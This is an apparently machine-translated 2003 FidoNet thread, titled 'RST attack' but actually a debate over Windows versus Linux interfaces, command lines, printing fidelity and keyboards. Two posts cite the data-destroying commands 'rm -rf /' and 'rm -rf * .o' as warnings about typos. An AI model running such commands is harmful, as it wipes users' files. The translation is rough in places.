And without icons, it’s no longer “graphics-oriented”?
What if the icons are drawn not by K* or G*, but by something simpler?
KF>> Red Hat is certainly not an indicator - it is Windows (a copy).
AM> What kind of Windows is this if the kernel and everything else are Linux?
Inside is Linux, and outside is a complete "Mazday".
KF>> Who is a regular user? Am I a regular user?
AM> A person who does not need to know how it works inside.
AM> Who needs to work on a computer, and not figure out how to set it all up. AM> A person who does not configure/install software and hardware.
AM> Which knows how to run the programs it needs and how to work with them.
So I'm a regular user. Right now I'm using a computer
in the usual way and I have absolutely no interest in how it works inside,
There is no need to configure anything, because it has been configured for a long time...
AM>>> The icon is on the desktop, or in the "start" menu - "programs" -
AM>>> "editor"
KF>> Have you tried it yourself?
AM> Yes. I have the necessary icons on my desktop
Which are impossible to reach when the entire screen is covered with windows.
KF>> You'll get tired of moving these icons with your mouse.
KF>> You need to go to the directory, for which you need to open about 5 windows
KF>> drag the file onto the icon littered with other windows...
AM> This is the job of the system administrator - to configure everything as needed.
Even arrange the icons? Different people have too different preferences
on this matter. Some people have their entire desktop in icons, others have only 4
things, the same ones that can’t be removed in any way...
AM> And for some reason I don’t remember the “nerds” you described. AM> One window opens, and from it we drag the icon onto the desktop.
AM> What am I doing wrong?
First you drag it onto the table, then you close the extra windows and drag it from
table on the editor icon. Then, when you have worked with the file, you don’t need it
forgetting to put it away from the table in a folder. Tiring... Although, I must admit,
quite visually and clearly. You also need to attach wav with sound
rustling paper...
KF>> Practice shows that the menu is only needed to launch more
KF>> one xterm.
AM> This is _for you_. As I already said, not everyone is like you.
AM> It’s easier for me to click on an icon on the desktop, click on an icon in the panel
AM> quick launch, press an additional key on the keyboard (fortunately their
AM> there are a lot), press the button on the TV tuner remote control. And all this is faster than
AM> open a console window and type something there.
The window is already open. That's why it's included in "autostart".
In addition, you also need to attach a file name to the icon, which is faster
type it in from the keyboard rather than look for it in the explorer. If not for this,
then the icon is really better.
AM>>> When can you take a “normal” text editor working in AM>>> GUI based on “what you see is what you get” technology.
KF>> Often this technology works like “what you get is completely different
KF>> you see" (at least because the printer and screen have different fonts)
AM> These are problems of the crooked hands of the programmer and (most often) the one who configured
AM> system.
Which system? I don’t know what to configure in Windows. And in Linux
WISWYG no, I already wrote - the fonts on the screen and on the printer are different.
You can use Type1 on the screen (however, it is not a fact that when printing
these fonts will also be used), but they look so clumsy...
Anti-aliasing is still being screwed in; sometimes it’s there, but more often it’s not.
KF>> and it is not needed at all.
AM> Again, it’s not up to you to decide what is needed and what is not.
I don't need it.
KF>> In Debian (Slackware8.0, RH6.0, Caldera x.x, Mandrake7.0, SUSE8.x,
KF>> ASP 7.x) there is no "Printer and Preview" button. A preview
KF>> is handled by ghostscript.
AM> You know, not a single version of Windows has this button either.
Well, the “printer” button appears there in the tray (chute, tray, tray...) appears.
AM> But it is in almost all programs that print something.This is not WISWYG. How many times have you encountered that it’s normal on the screen, but on
The printer's lines shift and disappear...
AM> And this is a question for the programmers, why they didn’t start making something like this
AM> function.
Because programmers cannot obtain the raster themselves. Of course they can
call ghostscript for this, why didn’t they do it? Somewhere there is
button "print in ghostview" or you can set the command line to
printing, it’s so easy to enter gv instead of lpr.
AM> Because it is much faster/more convenient for an ordinary user to click directly in the program
AM> one button rather than doing some strange movements with the console.
It seems that your average user is a moron with
IQ level (minus) -100.
KF>>>> start from a specific page (the printer jammed the sheet).
AM>>> Any program with printing - printing - started from page Y.
KF>> I prefer to immediately start printing from ghostview.
AM> Well then it’s clear why your entire desktop is littered with windows.
A true multi-window system. :-)
AM> which makes everything much worse than a dozen free Linux ones, each
AM> of which only 1/10 of what is needed.This is often the case unless you need something special.
AM> Don’t confuse the need for a program for the system to work and necessity
AM> programs for the user.
AM> The average user doesn't need kernel32.dll either :)
He needs Explorer anyway, without it there will be neither a start button nor
icons
KF>> In order not to remember commands in W'98 there is doskey.exe, in NT itself
KF>> remembers.
AM> Remembers those already entered.
Yes, indeed. :-( You can run bash.exe...
AM> Yes, and sometimes look for the one among the heap of entered lines
AM> which does something that was introduced a week ago - long and boring.
Bash has CTRL-R.
KF>> There is a “conductor” for this.
AM> You assure me that everything needs to be entered on the command line!
I can’t assure you that one thing doesn’t interfere with the other. I would like the teams
you could enter directly in the explorer window, under the icons.
KF>> Special case,
AM> ... which is needed in 90% of cases.
KF>> mark by mask
AM> "gray asterisk", entering a mask, Enter - that's it, marked.In Explorer - F3, enter masks, reset or install
check the box about subdirectories. Enter. “Marked” files appear in the window.
Do with them what you want.
KF>> or applying a command to a group of files is solved directly from the command line
KF>> lines.
AM> This is correct.
AM> Although this is not always true. Open marked files in almost any
AM> program,
In the window opened with the F3 button, mark everything and drag it onto the Winamp icon
(which is closed by a dozen windows).
KF>> Commander (file manager is an “explorer”) is not needed.
AM> Do your research - what percentage of users in the office work with
AM> using Explorer or a normal file manager and what percentage
AM> enters all commands from the console.
Normal users (those who can’t do anything themselves) can
use explorer, for them this is Windows. And Norton Commander
- this is for Programmers...
Hello, Kirill!
01 Sep 03, 08:19, Kirill Frolov wrote to Roman Alexandrov on the topic "Re:
RST attack":
RA>>>> There are operating systems _generally_ without a command line, and nothing, they live.
KF>>> In phones, refrigerators...
RA>> MAC OS
KF> Is it okay, what’s inside BSD?
What-what's inside?
Happy connections. Roman.
Hello Kirill!
02 Sep 03 04:21, Kirill Frolov -> Aleksandr Majorov:
[skipped]
AM>> If the shell + X + Linux allows you to work with icons on
AM>> desktop and with programs, then we can talk about this whole bunch
AM>> as a “graphics-oriented OS”.
KF> And without icons, is it no longer “graphics-oriented”?
Well.... Yes, no longer “graphics-oriented Windows-like”.
KF> And if the icons are drawn not by K* or G*, but by something simpler?
Then don't care. I immediately said - K*, G* or something similar.
KF>>> Red Hat is certainly not an indicator - it is Windows (a copy).
AM>> What kind of Windows is this if the kernel and everything else are Linux?
KF> Inside there is Linux, but outside it is a complete "Mazday".
That is Do you judge “Windows or not” solely by appearance?
KF>>> Who is a regular user? Am I a regular user?
AM>> A person who does not need to know how it is inside
AM>> arranged. Who needs to work on a computer, and not figure out how
AM>> configure everything. A person who does not study AM>> configuration/installation of software and hardware. Who knows how to run
AM>> programs he needs and how to work with them.
KF> So I'm a regular user. Right now I'm using a computer
KF> in the usual way and I am absolutely not interested in how it is inside
KF> it’s set up, there’s no need to configure anything, because it’s been configured a long time ago...
~~~~~~~~~~~~~~~~~~~~
Now, if your neighbor had everything set up for you, then you would be an ordinary user.
AM>>>> The icon is on the desktop, or in the "start" menu - "programs"
AM>>>> - “editor”
KF>>> Have you tried it yourself?
AM>> Yes. I have the necessary icons on my desktop
KF> Which are impossible to reach when the entire screen is littered with windows.
Do you know about the magic "Win" button? What about the “Win + M” combination?
[skipped]
KF>>> You need to go to the directory, for which you need to open about 5 windows
KF>>> drag the file onto the icon littered with other windows...
AM>> This is the job of the system administrator - to configure everything as needed.
KF> Even arrange the icons?No, but he can throw them on the table.
KF> Different people have too different preferences in this regard.
That's right. And they prefer to place icons on the table at the wrong time, when everyone
the screen is littered with windows.
[skipped]
KF> The window is already open. That's why it's included in "autorun".
By the way, don’t forget - your screen is littered with a TON of open windows.
Are you sure you won’t get tired of looking for a terminal window among this pile of windows?
[skipped]
KF>>> Often this technology works like “you’ll get something completely wrong
KF>>> what do you see" (at least because the printer and screen are different
KF>>> fonts)
AM>> These are problems of the crooked hands of the programmer and (most often) the one who
AM>> configured the system.
KF> Which system? I don’t know what to configure in Windows. And in Linux
KF> WISWYG no, I already wrote - the fonts on the screen and on the printer are different.
KF> You can use Type1 on the screen (however, it is not a fact that when printing
KF> these fonts will also be used), but they look so clumsy...
KF> Anti-aliasing is still being screwed in; it exists somewhere, but most often it doesn’t.
Well, similar things have already been written about.A good plus of Windows compared to Linux is that there is a certain “driving
force" that directs the work of programmers in the right direction. Those. decided
in MS to make the system user friendly - they did it. All
beautiful, clear, and understandable.
KF>>> and it is not needed at all.
AM>> Again, it’s not up to you to decide what is needed and what is not.
KF> I don't need it.
Well, the Linux programmer decided that he didn’t need it and didn’t do it. And in
As a result, users find it inconvenient to work with Linux, like “but in Windows there is this, but here
no, what a bad/inconvenient system, why is it needed at all"...
By the way, this is a real picture, I saw it myself. :)
KF>>> In Debian (Slackware8.0, RH6.0, Caldera x.x, Mandrake7.0,
KF>>> SUSE8.x, ASP 7.x) there is no “Printer and Preview” button. A
KF>>> preview is handled by ghostscript.
AM>> You know, not a single version of Windows has this button either.
KF> Well, the "printer" button appears there in the tray (chute, tray, tray...) appears.
Actually, this is a button “the printing process is in progress, so many sheets have been output, and also
so much will be withdrawn." There is no preview there.
AM>> But it is in almost all programs that do something AM>> print.
KF> This is not WISWYG. How many times have I encountered that it’s normal on the screen, but
KF> on the printer, lines shift, disappear...
Examples?
AM>> And this is a question for the programmers, why they didn’t do it
AM>> such a function.
KF> Because programmers cannot obtain the raster themselves.
Maybe because the system does not provide a convenient API for this?
Or because they are happy with it?
[skipped]
AM>> Because it is much faster/more convenient for an ordinary user to click directly on
AM>> the program has one button, rather than doing something strange
AM>> body movements with the console.
KF> It seems that your average user is a moron
KF> IQ level (minus) -100.
In terms of deep knowledge about the computer - yes.
You are not required to be able to fly a plane, you just need to buy
ticket and that’s it, you’ll arrive safely.
So users, IMHO, do not need to know how to configure the OS, how
configure anything and everything.
Yes, and they are not interested in this, most often.
[skipped]
AM>> which does everything much worse than a dozen free ones AM>> Linux ones, each of which does only 1/10 of what is necessary.
KF> This is often the case if you don’t need anything special.
Then the question is, why doesn’t it occur to any of the Linux programmers?
do it "all in one"?
[skipped]
KF>>> There is a “conductor” for this.
AM>> You assure me that everything needs to be entered on the command line!
KF> I don’t assure you of anything, one does not interfere with the other. I would like the teams
KF> could be entered directly in the Explorer window, under the icons.
IMHO the teams have some disadvantages:
you need to remember how all commands are written (or at least how the beginning of these commands)
you need to remember the values of the keys (or read the help all the time - it takes a long time), if you enter
the command is wrong - you can kill everything (rm -rf /)
And yes - the command line (if all the necessary commands are there, which is not the case in
Windows) is a convenient tool for working.
However, those working on the command line must understand what exactly they are doing.
[skipped]
KF> In the window opened with the F3 button, mark everything and drag it to the icon
KF> Winampa (which is closed by a dozen windows).
Or press the right button.
[skipped]
AM>> You do some research - what is the percentage of users in the office AM>> work using Explorer or a normal file manager
AM>> and what percentage enters all commands from the console.
KF> Normal users (those who can’t do anything themselves) can
KF> use explorer, for them this is Windows.
Yeah, and that’s the majority of users.
Alexand
Hello Kirill!
Tuesday 02 September 2003 04:21:15 Kirill Frolov -> Aleksandr Majorov:
KF>>> drag the file onto the icon littered with other windows...
AM>> This is the job of the system administrator - to configure everything as needed.
KF> Even arrange the icons? Different people have too different
KF> preferences
KF> about this. Some people have icons all over their “desktop”, others
KF> only 4
KF> things, the same ones that cannot be removed in any way...
That's exactly how it is for me. Everything I need is crammed into the panel
quick launch at the bottom of the screen...
[REAL ZX]
Hello, Alexander!
Tuesday 02 September 2003 19:51:52 Aleksandr Majorov -> Kirill Frolov:
KF>>>> Have you tried it yourself?
AM>>> Yes. I have the necessary icons on my desktop
KF>> Which you can’t get to when the whole screen is covered
KF>> windows.
AM> Do you know about the magic “Win” button? And about the combination "Win +
AM> M"?
I don’t have a Take Out button because I hate modern Chinese ones
keyboards. What do I need to click?
[REAL ZX]
Hello, Alexander!
Tuesday 02 September 2003 19:51:52 Aleksandr Majorov -> Kirill Frolov:
KF>> This is not WISWYG. How many times have I encountered what’s on the screen
KF>> ok, eh
KF>> on the printer the lines shift, disappear...
AM> Examples?
Not long ago I wrote about a problem with a dot matrix printer, when
on the screen everything rules, but on print it’s generally far from the truth. But
I just recently made inserts for CDs, everything is fine
printed, but I decided to reduce the frame by 1 mm - after that
Something terrible has appeared in the print - the font has changed both in size and
outline. Naturally, nothing fits into the frame anymore. A
everything was ruled on the screen - that’s all VISIVIG...
[REAL ZX]
Press RESET immediately, Aleksandr Majorov!
On Tue, 02 Sep 03 18:51:52 +0400, Aleksandr Majorov wrote:
KF>> And without icons, is it no longer “graphics-oriented”?
AM> Well.... Yes, no longer “graphics-oriented Windows-like.”
But I don’t need a Mazda-like thing.
KF>> And if the icons are drawn not by K* or G*, but by something simpler?
AM> Then don't care. Well, I immediately said - K*, G* or something similar.
Icons represent minimized windows.
KF>> Linux inside, but complete “Mazday” outside.
AM> That is. do you evaluate “Windows or not” solely by appearance?
No, there are differences inside.
KF>> So I'm a regular user. Right now I'm using a computer
KF>> in the usual way and I’m absolutely not interested in how it’s inside
KF>> it’s set up, there’s no need to configure anything, because it’s been configured a long time ago...
AM> .... and all this is configured by you.
AM> Now, if your neighbor had everything set up for you, then you would be ordinary
AM> by user.
So what, an ordinary user can no longer use his usual software?
configure? AM>>> Yes. I have the necessary icons on my desktop
KF>> Which are impossible to reach when the entire screen is littered with windows.
AM> Do you know about the magic “Win” button? What about the combination "Win + M"?
I know about the button, it moves the windows for me. And the language menu button
switches. When you press WIN+M, the letter M is entered.
KF>>>> You need to go to the directory, for which you need to open about 5 windows
KF>>>> drag the file onto the icon littered with other windows...
AM>>> This is the job of the system administrator - to configure everything as needed.
KF>> Even arrange the icons?
AM> No, but he can throw them on the table.
And call him every time you want to throw an icon on the table? MArasm
grew stronger.
KF>> Different people have too different preferences in this regard.
AM> Correct. And they prefer to place icons on the table at the wrong time
AM> when the entire screen is filled with windows.
In short, program icons are not needed at all.
KF>> The window is already open. That's why it's included in "autorun".
AM> By the way, don’t forget - your screen is littered with a TON of open windows. AM> Are you sure you won't get tired of looking for a terminal window among this bunch of windows?
I won't get tired. Windows, unlike icons, can pop up upon request.
KF>> Which system? I don’t know what to configure in Windows. And in Linux
KF>> WISWYG no, I already wrote - the fonts on the screen and on the printer are different.
KF>> You can use Type1 on the screen (however, it is not a fact that when printing
KF>> these fonts will also be used), but they look so clumsy...
KF>> Anti-aliasing is still being screwed in; it exists somewhere, but most often it doesn’t.
AM> Well, similar things have already been written about.
AM> A good advantage of Windows compared to Linux is that there is a certain
AM> "driving force" that directs the work of programmers to the right
AM> direction. Those. MS decided to make the system friendly to
AM> to the user - they did it. Everything is beautiful, visual, and understandable.
At the same time, they didn't do a lot of other more useful things.
Only because this power forbade them to do so.
KF>>>> and it is not needed at all.
AM>>> Again, it’s not up to you to decide what is needed and what is not.
KF>> I don’t need it. AM> Well, the Linux programmer decided that he didn’t need it and didn’t do it.
AM> And as a result, it is inconvenient for users to work with Linux, like “but it is in Windows
AM> this and that, but not here, what a bad/inconvenient system, what for is it at all
AM> needed"...
“Linux is not needed because it does not have Microsoft Office”...
I'm still a user. I think so. No complaints about
I don’t have a Linux-friendly interface, I use its interface
(both console/xterm and fvwm2 with whistles) I think are more friendly
than Windows.
AM> By the way, this is a real picture, I saw it myself. :)
If a person who has worked all his life before in some unich
put him in prison for Windows, then what do you think, what words should he call Windows?
will it be?
AM>>> You know, not a single version of Windows has this button either.
KF>> Well, the “printer” button appears there in the tray (chute, tray, tray...) appears.
AM> Actually, this is a button “the printing process is in progress, so many sheets have been output
AM> and so much more will be displayed." There is no preview there.
Well, at least the printing process is visually displayed. But there’s nothing in Linux
There are no commands except lp*. There is all sorts of bullshit, but is it only for cups(Linux has at least two printing systems: cups and lpd), or
I'm not satisfied.
AM>>> But it is in almost all programs that do something
AM>>> print.
KF>> This is not WISWYG. How many times have I encountered that it’s normal on the screen, but
KF>> on the printer the lines shift, disappear...
AM> Examples?
I haven't printed anything big from Windows for a long time. And the glitches are such that
Everything is beautiful on the screen, but on paper the text crawls out of the margins or even beyond
edge of the paper, some lines simply disappear. Printed from word.
Glitches were fixed by inserting and deleting spaces, empty lines...
AM>>> And this is a question for the programmers, why they didn’t do it
AM>>> such a function.
KF>> Because programmers cannot obtain the raster themselves.
AM> Maybe because the system does not provide a convenient API for this?
System (kernel+libc?) nothing about fonts, printers, or
does not know monitors. It's not "graphics-oriented". Programs,
those who want to print something usually create a postscript file and send it
to the lpr program, which sends it where it should be. Possibly magical
configure the filter so that lpr can give any file, and the filter itselfwill convert it into printed form. At the postscript preparation stage
file #nothing at all# about the characteristics of the printing device
unknown. In each program you can set the paper size...
lpd, since the printer does not understand postscript, it sends the ghostscript file
an interpreter that issues a set of commands to the printer.
AM> Or because they are happy with it?
This is being actively fixed now (normal interface with the printer).
But no one really needs a preview - enough
calling ghostscript, but using a button or something else is not a problem.
If I needed it, I would attach any button to my desktop.
KF>> It seems that your average user is a moron
KF>> IQ level (minus) -100.
AM> In terms of deep knowledge about computers, yes.
He doesn't need deep knowledge, but a little intelligence. Have
everyone.
AM> You are not required to be able to fly an airplane, you just need to buy
AM> ticket and that’s it, you’ll arrive safely.
AM> And IMHO users do not need to know how to configure the OS, how
AM> configure anything and everything.
This user should probably hire a more professional
user... AM>>> which does everything much worse than a dozen free ones
AM>>> Linux ones, each of which does only 1/10 of what is necessary.
KF>> This is often the case if you don’t need anything special.
AM> Then the question is why none of the Linux programmers receive it
AM> is it in your head to do “all in one”?
Because there's no need for it. I can't even imagine what this all-in-one is for
may be needed.
KF>> I don’t assure you of anything, one does not interfere with the other. I would like the teams
KF>> could be entered directly in the Explorer window, under the icons.
AM> IMHO the commands have some disadvantages:
AM> you need to remember how all commands are written (or at least how the beginning of these
AM> commands), you need to remember the values of the keys (or read the help all the time -
AM> long),
So what? If any programmer remembers many thousands of names
operators, functions... in many languages, libraries... linguists and
other philologists study many human languages with tens of thousands of words,
Why can’t the average user learn just a couple of hundred commands?
If you just use it a little, then within half a year it goes without sayingeverything will be learned. For a person who constantly works with a computer
it's not a problem. That’s why I suggest a line under the icons so that
It was possible to move icons with the mouse and compose complex commands.
AM> if you enter the command incorrectly, you can kill everything (rm -rf /)
This is a rare case and it will not work for the user right away (you can manage
press ctrl-C). The user needs the command "rm -rf * .o" (random space).
It just needs a safer rm command. For example, Windows del in this way
in case he asks again.
AM> However, those working on the command line must understand what exactly it is
AM> does.
I again remember visual basic with half a thousand different buttons. I
I immediately got confused there... And I read the manual from tcl/tk and immediately understood almost everything,
without any buttons. To the visual basic of the human manual there is no
attached, apparently quite visual...
KF>> In the window opened with the F3 button, mark everything and drag it to the icon
KF>> Winampa (which is closed by a dozen windows).
AM> Or press the right button.
A menu appears for me, do you suggest embedding Winamp in Sent To?
Press RESET immediately, Roman Alexandrov!
On Tue, 02 Sep 03 06:23:09 +0400, Roman Alexandrov wrote:
RA>>>>> There are operating systems _generally_ without a command line, and nothing, they live.
KF>>>> In phones, refrigerators...
RA>>> MAC OS
KF>> Is it okay, what’s inside BSD?
RA> What's inside?
Berkley Software Distribution.
Hello Nikolaj!
02 Sep 03 21:51, Nikolaj Amosov -> Aleksandr Majorov:
[skipped]
AM>> Do you know about the magic “Win” button? And about the combination "Win +
AM>> M"?
NA> I don’t have a Take Out button because I hate modern Chinese ones
NA> keyboard.
That is do you like vintage heavy keyboards?
And this is how I bought a Logitech keyboard with a bunch of additional keys, so on regular ones
The keyboards have become inconvenient to work with..
So I can say that modern keyboards rule.
Well, if you don’t like Chinese ones, then buy Microsoft Natural Keyboard
or whatever it's called.
Unlike software, hardware from MS always turns out good. This keyboard is for everyone
I like it, especially if you need to type a lot of text.
NA> What should I click?
I don’t know, because for me it’s completely irrelevant. Somewhere along Fido they flew
combinations of Win+keys, along with their analogues, such as Esc+Ctrl and the like.
Alexand
Hello Nikolaj!
02 Sep 03 21:54, Nikolaj Amosov -> Aleksandr Majorov:
[skipped]
AM>> Examples?
NA> Not long ago I wrote about a problem with a dot matrix printer when
NA> on the screen everything rules, but on print it’s generally far from the truth.
I agree about dot matrix printers; all sorts of problems arise with them.
Although, when at the last job there was an A3 size matrix camera, we calmly
and without straining in Visio we drew cable routing diagrams and other necessary
weigh. And everything printed without problems.
Alexand
Hello, Alexander!
Wednesday 03 September 2003 18:38:59 Aleksandr Majorov -> Nikolaj Amosov:
NA>> I don’t have a Take Out button because I hate modern ones
NA>> Chinese
NA>> keyboard.
AM> That is. do you like vintage heavy keyboards?
Awesome - large, reliable, comfortable, with metal
base, with protection against dirt penetration into the keyboard and,
finally, not film-rubber, but textolite-spring.
AM> And this is how I bought a Logitech keyboard with a bunch of additional keys, so
AM> on regular keyboards
AM> it has become inconvenient to work..
AM> So I can say that modern keyboards rule.
Only in terms of the number of buttons, but not in terms of reliability. How much
There have been cases when modern keyboards died within six months
work. I can’t say anything specifically about Logitech...
AM> Well, if you don’t like Chinese ones, then buy Microsoft
AM> Natural Keyboard or
AM> whatever it's called.
You need a lot of money, but I bought mine for 50 rubles at the market.
AM> Unlike software, hardware from MS is always obtained
AM> good. Everyone likes this keyboard AM> especially if you need to type a lot of text.
Probably suitable for Fido ;)
[REAL ZX]
Hello, Alexander!
03 Sep 03, 18:45, Aleksandr Majorov wrote to Nikolaj Amosov on the topic "Attack
RST":
AM>>> Examples?
NA>> Not long ago I wrote about a problem with a dot matrix printer when
NA>> on the screen everything rules, but on print it’s generally far from the truth.
AM> I agree about dot matrix printers, they cause all sorts of joyful things
AM> problems.
In terms of the number of joyful problems, modern laser and inkjet engineers
overtook the matrix students very much....
Happy connections. Roman.
*** responded to the message from CARBON.COPIES (Copies).
Greetings, Roman, reading this nonsense...
I remember 01 Sep 03 07:50, Roman Alexandrov spoke with Paul Malishev... Well then
we will answer:
KF>>>>>> Now explain why you need to “log in” if
KF>>>>>> are you planning to enter any commands?
AM>>>>> Because Windows is a graphics-oriented OS.
KF>>>> Linux with X is also graphics-oriented...
PM>> Not true. Linux is the kernel. It has the ability to use
PM>> both graphics and pure text mode. There is no such thing in Windows
PM>> capabilities - graphics only.
RA> This statement is not entirely true.
hmm... and in what place is it?
Let me say goodbye to you Roman...
on distribution - points in *realnet*, *kotnet*, *progressivenet*,
*skynet*...
/paused/
Hello Paul!
04 Sep 03, 01:10, Paul Malishev wrote to Roman Alexandrov on the topic "Attack
RST":
KF>>>>>>> Now explain why you need to “log in” if
KF>>>>>>> are there any plans to enter any commands?
AM>>>>>> Because Windows is a graphics-oriented OS.
KF>>>>> Linux with X is also graphics-oriented...
PM>>> Not true. Linux is the kernel. It has the ability to use
PM>>> both graphics and pure text mode. There is no such thing in Windows
PM>>> capabilities - graphics only.
RA>> This statement is not entirely true.
PM> hmm... where is it?
In such a way that Windows can be launched without a web explorer.
Happy connections. Roman.
Hello Roman!
03 Sep 03 23:12, Roman Alexandrov -> Aleksandr Majorov:
[skipped]
AM>> I agree about dot matrix printers, all sorts of problems arise with them
AM>> joyful problems.
RA> In terms of the number of joyful problems, modern laser engineers and
RA> inkjet players have overtaken matrix players very much....
What exactly are the problems with spitters and lasers compared to matrix ones?
I know that matrix printers are much cheaper and only print text faster.
The fact that they are more reliable, because... easier - I know.
And what else?
Alexand
Hello Nikolaj!
03 Sep 03 21:43, Nikolaj Amosov -> Aleksandr Majorov:
[skipped]
AM>> That is. do you like vintage heavy keyboards?
NA> Awesome - large, reliable, comfortable, with metal
NA> base, with protection against dirt penetration into the keyboard and
NA> finally, not film-rubber, but textolite-spring.
Heavy, you can’t move it, takes up a lot of space, not ergonomic),
dirt still gets in, you can lose the springs, and they stretch.
I have a textolite-spring keyboard on my Speck, so I changed the buttons to
her regularly.
[skipped]
AM>> So I can say that modern keyboards rule.
NA> Only in terms of the number of buttons, but not in terms of reliability.
NA> How many cases have there been when modern klavas died during the course
NA> six months of work.
Strange, I haven't heard anything like this. However, if you buy Chinese keyboards for 150
rub, then nothing surprising.
The keyboard from my first stump from '97 works fine (there were already WIN buttons there).
The keyboard from the 3rd stump has been working fine since 2000, I’m just too lazy and it’s getting dirty
clean up, and I wanted something nice, with a bunch of buttons%)
[skipped] AM>> Well, if you don’t like Chinese ones, then buy Microsoft
AM>> Natural Keyboard or
AM>> whatever it’s called.
NA> You need a lot of money, but I bought mine for 50 rubles at the market.
Yeah, and generally without any guarantees that the keyboard will work.
But I’m somehow not rich enough to buy cheap things.
But how do you connect this cheap keyboard to a computer with a PS/2 connector?
You'll have to hold the soldering iron in your hands.
And I’ll turn on my keyboard either in USB or in PS/2.
AM>> Unlike software, hardware from MS is always obtained
AM>> good. Everyone likes this keyboard
AM>> especially if you need to type a lot of text.
NA> Probably suitable for Fido ;)
I can only say one thing - take it and try it.
I also thought that there was no need for a wheel on a mouse, a bunch of keys weren’t needed.
And now at work I’m always trying to scroll through the missing text
wheel on the mouse, trying to turn the missing wheel on the keyboard, and trying
press missing additional keys %))
In short - convenient. I liked it.
Alexand
Hello Kirill!
03 Sep 03 09:41, Kirill Frolov -> Aleksandr Majorov:
[skipped]
AM>> Well.... Yes, no longer “graphics-oriented Windows-like.”
KF> But I don’t need Mazda-likeness.
Again, who cares what you need?
[skipped]
AM>> Now, if your neighbor set everything up for you, then you would be ordinary
AM>> by user.
KF> What, an ordinary user can no longer use his usual software
KF> configure?
What does "your own software" mean?
And at the same time, explain why in unichs the user is not allowed to go up beyond his boundaries
home directory.
What if he wants to “customize his software”?
In the same Windows, based on NT, they introduced access rights to directories, and in every possible way
It is recommended not to give the user the right to access "C:Program Files" "C:WINDOWS"
etc.
[skipped]
AM>> Do you know about the magic “Win” button? What about the combination "Win + M"?
KF> I know about the button, it moves windows for me. And the language menu button
KF> switches. When you press WIN+M, the letter M is entered.
Well, these are your Linux problems.
But if you had configured it as “minimize all windows”, it would have been one problem
less.
[skipped]
AM>> No, but he can throw them on the table. KF> And call him every time you want to throw an icon on the table? IRASM
KF> grew stronger.
And call the admin every time you want to install/remove/configure
Isn't the program stupid?
[skipped]
AM>> desired direction. Those. decided to make a system in MS
AM>> user friendly - they did it. Everything is beautiful
AM>> is clear and understandable.
KF> At the same time, they did not do a lot of other more useful things.
KF> Only because this power forbade them to do so.
That’s right, because there is a certain “party course” and it is impossible to deviate from it.
[skipped]
AM>> Well, the Linux programmer decided that _he_doesn’t need it and doesn’t
AM>> did. And as a result, users find it inconvenient to work with Linux, like “here
AM>> in Windows there is something, but here it is not, what a bad/inconvenient system,
AM>> why is it needed at all"...
KF> "Linux is not needed because it does not have Microsoft Office"...
No. I have already talked about the experience of one homo lamerius, who decided “I’m right now
I can quickly copy files from a CD via this Linux to Windows"
[skipped] KF> If a person who has worked in some unich all his life before
KF> put him in jail for Windows, then what do you think in what words is he Windows
KF> will it be called?
If he worked in a “graphical interface”, then nothing.
If he only worked with the command line, then there would be problems.
And IMHO they are exactly the same as when he switched to K* / G*.
[skipped]
KF>>> It seems that your ordinary user is --
KF>>> moron with IQ level (minus) -100.
AM>> In terms of deep knowledge about computers, yes.
KF> He doesn’t need deep knowledge, but a little intelligence. Yes
KF> everyone.
If everyone has it, then why do people prefer (for now) Windows rather than
Linux?
And tell me - what kind of intelligence is needed to figure out what to do?
To preview the document, you need to type a bunch of words on the command line
teams?
[skipped]
AM>> Then the question is - why don’t any of the Linux programmers
AM>> does it occur to you to do “all in one”?
KF> Because there’s no need for it. I can't even imagine what this is for
KF> all-in-one may be needed.So as not to bother with setting up 10 programs, but set up only one.
In order not to perform strange body movements to do work, but to work
only in one program.
[skipped]
KF>>> I assure you of nothing, one does not interfere with the other. I would like
AM>> IMHO the teams have some disadvantages:
AM>> you need to remember how all commands are written (or at least how to start
AM>> of these commands), you need to remember the values of the keys (or read all the time
AM>> help - long),
KF> So what? If any programmer remembers many thousands of names
KF> operators, functions... in many languages, libraries...
This is his job.
KF> linguists and other philologists study many human languages from
KF> tens of thousands of words,
This is their job.
KF> why can’t an ordinary user learn just a couple of hundred
KF> commands?
Because that's not their job.
You don't have to know Ohm's law to turn on the light.
You don't have to know how to design processors to work on a computer.
You don't have to know accounting in order to service computers at work, right?why are you sure that accountants should know a couple of hundred commands for managing and
computer settings?
KF> If you just use it a little, then in half a year it will work itself
KF> everything will be learned by yourself.
But during these six months they will not pay you a salary, because
accountants will not get anything done on time - will that suit you?
And then some newer Linux or program will appear, and you will need
again six months for training.
KF> For a person who constantly works with a computer, this is not a problem.
Don't confuse working _With_ a computer and working _HA_ a computer.
KF> That's why I suggest a line under the icons so that you can have icons
KF> move with the mouse and then compose complex commands.
Yeah, and then the admin will remember you (as the one who suggested this) as good
in words, raising a system that was killed by users who decided something in the line
introduce.
Have you ever wondered why all the “controls” (screws, switches, etc.)
both in enterprises and in homes they are “blocked”, locked and generally made
inaccessible to "regular users"?
And you propose to place the main "vintage" of the computer in the most visible place and
keep it open there!
If someone really needs it, he will launch the “command line” without any problems,and it will be placed in autorun. It’s true that I haven’t seen anything like this. Command line
called only when it is needed.
[skipped]
AM>> However, those working on the command line must understand what exactly
AM>> he does.
KF> I again remember visual basic with half a thousand different buttons. I
KF> I immediately got confused there... And I read the manual from tcl/tk and found almost everything at once
KF> I got it, without any buttons. To the visual basic of the human manual
KF> not included, apparently quite visual...
Did you buy VB or just downloaded a cut version from somewhere?
I also didn’t have a three-disc MSDN attached to VC, but I can’t assure you that there’s help for
he doesn't.
Plus you can also buy books; VB has normal, understandable books.
Well, about the thousands of buttons - there was a gorgeous picture on the Internet "Word for
blondes" where _all_ Word toolbars were turned on and displayed.
And if you display all the panels in VB and (obviously) get confused in them, then what do you do?
Are you different from this "blonde"?
KF>>> In the window opened with the F3 button, mark everything and drag it to the icon
KF>>> Winampa (which is closed by a dozen windows).
AM>> Or press the right button. KF> A menu appears for me, do you suggest embedding Winamp in Sent To?
Actually, when I press the right button on MP3 files, the menu immediately
"Open in Winamp" options appear. Because Winamp prescribes everything during installation
as needed (you can configure what you want to register).
And you don't need to send anything anywhere.
Alexand
Hello Kirill!
03 Sep 03 09:47, Kirill Frolov -> Roman Alexandrov:
[skipped]
RA>>>> MAC OS
KF>>> Is it okay, what’s inside BSD?
RA>> What's inside?
KF> Berkley Software Distribution.
And where was this BSD before version 10 of MAC OS?
Alexand
Hello, Kirill!
03 Sep 03, 09:47, Kirill Frolov wrote to Roman Alexandrov on the topic "Re:
RST attack":
